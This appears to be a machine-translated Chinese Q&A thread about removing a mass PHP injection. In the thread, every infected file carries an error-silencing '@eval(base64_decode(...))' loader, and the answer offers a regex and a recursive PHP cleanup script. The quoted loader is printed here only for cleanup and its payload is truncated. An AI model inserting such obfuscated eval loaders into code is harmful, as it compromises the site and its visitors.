用复杂字符清除decode_base64攻击的脚本

dec*_*nya 6 php bash base64 sed

我四处寻找用我们服务器中的恶意代码清理大规模的php攻击,我在复杂性方面遇到问题,找到正确的搜索和替换文本的路径.环顾四周,我发现所有的php文件都有这个代码

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
 base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)

当我尝试使用sed命令时,我无法删除所有代码,因为某些php文件在第一行中有其他代码,并且只删除第一行不是解决方案.

首先我用受感染的文件创建文件:

grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt
Run Code Online (Sandbox Code Playgroud)

使用;

for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done
Run Code Online (Sandbox Code Playgroud)

我完成循环以删除所有受感染的文件,但对于所有特殊字符始终产生错误,我找不到确切的过滤器.有人可以帮我做正确的sed过滤器吗?其他测试

for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'
Run Code Online (Sandbox Code Playgroud)

我不知道如何过滤像/或*这样的特殊字符

举个例子,一些php文件出现在第一行开头

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)

我可以直接删除该行.但存在其他情况:

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php
Run Code Online (Sandbox Code Playgroud)

并且有可能在第一行中有一个包含更多代码的php文件,而不仅仅是"

所以,我需要删除的代码,而不是取代任何字符,并且不影响该行的其余部分.我看到要完全删除线条删除的表单,但我只查看插入的代码是模式

显然我们正在调试以阻止未来的攻击,但首先我需要清理代码以重新启动网站.

如果有人好奇我也可以发送解码的代码.

谢谢

Mel*_*man 3

今天晚上发生 Base64 攻击后,我今天在Drupal 7上遇到了同样的问题。这是我的工作解决方案,制作正则表达式,扫描所有文件并删除受感染的部分。

正则表达式

这个正则表达式将捕获/*947353*/和之间的所有代码/*947353*/(在我的例子中/*435345352*/)(此处为 Debuggex 演示):

/\*435345352\*\/(.*)\/\*435345352\*\/
Run Code Online (Sandbox Code Playgroud)

剧本

之后,我制作了一个 PHP 脚本来浏览所有文件并清理它们。

function scanAndClean($start) {
    $contents = scandir($start);
    array_splice($contents, 0, 2);
    foreach ($contents as $item ) {
        $path = "$start\\$item";
        if (is_dir($path) && (substr($item, 0, 1) != '.') ) {
            scanAndClean($path);
        }
        elseif(in_array(pathinfo($path, PATHINFO_EXTENSION), array('php','inc','module'))) {
            cleanFile($path);
        }
    }
}

function cleanFile($file) {

    echo "file scanned : $file...\n";

    $content = file_get_contents($file);
    $pattern = "/\/\*435345352\*\/(.*)\/\*435345352\*\//";
    preg_match($pattern, $content, $matches, PREG_OFFSET_CAPTURE, 3);
    if(sizeof($matches) > 0) {
        file_put_contents($file, str_replace("<?php  ?>", '', preg_replace($pattern, '', $content)));
        echo "\nfile cleaned\n\n";
    }

    else {
        echo "file Ok\n\n";
    }
}
Run Code Online (Sandbox Code Playgroud)

运行!

该脚本放置在网站的根目录中,将扫描所有子目录并返回*.module*.inc、 和*.php(在我的例子中,这些都是可能受感染的 php 文件)。

// start from this directory
$dir = getcwd();

// to go to parent directory (if script placed in a subdirectory)
//chdir("../");
//$dir = getcwd();

// run scan and clean...
$files = scanAndClean($dir);
Run Code Online (Sandbox Code Playgroud)

之后,我的网站立即再次上线。

笔记

WINDOWS / LINUX 版本此版本适用于 Windows IIS Server。对于 Linux 路径更改$path = "$start\\$item";$path = "$start/$item";

感谢@koushik-dasshow_files()功能/sf/answers/2616880241/

请考虑以下文章来防止新的攻击... https://www.thonky.com/how-to/prevent-base-64-decode-hack